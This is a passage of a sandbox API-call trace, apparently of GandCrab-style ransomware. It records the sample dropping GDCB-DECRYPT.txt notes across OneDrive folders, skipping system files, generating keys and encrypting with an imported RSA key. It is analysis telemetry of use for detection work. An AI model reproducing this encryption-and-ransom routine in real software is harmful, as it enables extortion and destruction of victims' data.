pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.965] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\nb-no\\\\GDCB-DECRYPT.txt") returned 280 [0171.965] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\nb-no\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\nb-no\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.965] GetLastError () returned 0x3 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.965] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ne-np\\\\GDCB-DECRYPT.txt") returned 280 [0171.965] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\ne-np\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\ne-np\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.965] GetLastError () returned 0x3 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.965] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\nl\\\\GDCB-DECRYPT.txt") returned 277 [0171.965] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\nl\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\nl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.965] GetLastError () returned 0x3 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.965] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.965] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\nn-no\\\\GDCB-DECRYPT.txt") returned 280 [0171.965] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\nn-no\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\nn-no\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.966] GetLastError () returned 0x3 [0171.966] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.966] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.966] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.966] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.966] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\nso-za\\\\GDCB-DECRYPT.txt") returned 281 [0171.966] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\nso-za\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\nso-za\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.966] GetLastError () returned 0x3 [0171.966] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png") returned 273 [0171.966] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png") returned 273 [0171.966] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png") returned 273 [0171.966] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png") returned 273 [0171.966] lstrcmpiW (lpString1="OneDriveLogo.png", lpString2="desktop.ini") returned 1 [0171.966] lstrcmpiW (lpString1="OneDriveLogo.png", lpString2="autorun.inf") returned 1 [0171.966] lstrcmpiW (lpString1="OneDriveLogo.png", lpString2="ntuser.dat") returned 1 [0171.966] lstrcmpiW (lpString1="OneDriveLogo.png", lpString2="iconcache.db") returned 1 [0171.966] lstrcmpiW (lpString1="OneDriveLogo.png", lpString2="bootsect.bak") returned 1 [0171.966] lstrcmpiW (lpString1="OneDriveLogo.png", lpString2="boot.ini") returned 1 [0171.966] lstrcmpiW (lpString1="OneDriveLogo.png", lpString2="ntuser.dat.log") returned 1 [0171.966] lstrcmpiW (lpString1="OneDriveLogo.png", lpString2="thumbs.db") returned -1 [0171.966] lstrcmpiW (lpString1="OneDriveLogo.png", lpString2="GDCB-DECRYPT.txt") returned 1 [0171.966] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\onedrivelogo.png")) returned 0xffffffff [0171.966] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png", dwFileAttributes=0xfffffffe) returned 0 [0171.966] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0171.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.967] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.967] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0171.967] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0171.967] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0171.968] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0171.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0171.968] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0171.968] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.968] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0171.970] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x6360d8) returned 1 [0171.970] CryptGetKeyParam (in: hKey=0x6360d8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.970] CryptEncrypt (in: hKey=0x6360d8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3030000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x3030000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0171.970] GetLastError () returned 0x0 [0171.970] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0171.970] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0171.972] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x636598) returned 1 [0171.972] CryptGetKeyParam (in: hKey=0x636598, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0171.972] CryptEncrypt (in: hKey=0x636598, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3040000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x3040000*, pdwDataLen=0x285d120*=0x100) returned 1 [0171.973] GetLastError () returned 0x0 [0171.973] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0171.973] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\onedrivelogo.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.973] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveSetup.exe") returned 274 [0171.973] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\OneDriveSetup.exe") returned 274 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.973] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\or-in\\\\GDCB-DECRYPT.txt") returned 280 [0171.973] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\or-in\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\or-in\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.973] GetLastError () returned 0x3 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.973] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pa\\\\GDCB-DECRYPT.txt") returned 277 [0171.973] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pa\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\pa\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.973] GetLastError () returned 0x3 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.973] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.973] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pa-arab\\\\GDCB-DECRYPT.txt") returned 282 [0171.974] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pa-arab\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\pa-arab\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.974] GetLastError () returned 0x3 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.974] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pa-arab-pk\\\\GDCB-DECRYPT.txt") returned 285 [0171.974] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pa-arab-pk\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\pa-arab-pk\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.974] GetLastError () returned 0x3 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.974] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pl\\\\GDCB-DECRYPT.txt") returned 277 [0171.974] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\pl\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\pl\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.974] GetLastError () returned 0x3 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.974] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\platforms\\\\GDCB-DECRYPT.txt") returned 284 [0171.974] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\platforms\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\platforms\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.974] GetLastError () returned 0x3 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.974] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.975] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\prs-af\\\\GDCB-DECRYPT.txt") returned 281 [0171.975] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\prs-af\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\prs-af\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 